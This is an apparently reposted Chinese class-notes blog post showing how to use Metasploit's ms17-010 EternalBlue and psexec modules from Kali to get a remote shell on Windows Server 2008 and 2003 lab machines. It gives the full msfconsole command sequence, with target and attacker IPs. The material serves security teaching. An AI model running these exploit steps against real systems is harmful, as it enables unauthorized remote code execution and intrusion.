Kali虚拟机利用msf17-010执行RCE提权(针对Windows Server 2008以及2003)

写在前面:

老师上课的演示是利用了ms17-010的exploit/windows/smb/ms17_010_enternalblue,我们可以通过use exploit/windows/smb/ms17_010_enternalblue再info查看适用于什么版本,否则拿这个去攻击Windows Server 2003就会出现Exploit completed,but no session was created.这种情况。


 ms17-010:exploit/windows/smb/ms17_010_enternalblue —>  Windows Server 2008(终端命令)

msfconsole

search ms17-010

use exploit/windows/smb/ms17_010_enternalblue

info(查看帮助)

set rhosts 192.168.29.128(被攻击主机IP)

set rport 445

show options

 show options以后往下拉会有一个target,因为这里只有一个0,所以我们不用set target,但是要是有好几个就需要写set target 0(选哪个写哪个的数字)

 再打开一个终端用nmap扫描一下被攻击主机445端口是否开启

 回到刚才那个终端,输入exploit,就会创立一个反弹链接,再输入命令查看当前用户以及IP,发现已经是被攻击的主机的cmd


 ms17-010: exploit/windows/smb/ms17_010_psexec —>  Windows Server 2003(终端命令)

msfconsole

search ms17-010

use exploit/windows/smb/ms17_010_psexec

info

set rhosts 192.168.29.128(设置攻击目标的IP地址)

set lhost 192.168.29.133(攻击机ip地址)

set rport 445

set target 0

show options

这里也需要用nmap扫描一下被攻击的主机445是否开放,之前扫过了所以这里不扫了~~~

exploit

原文地址:https://www.cnblogs.com/ApricityJ/p/12987777.html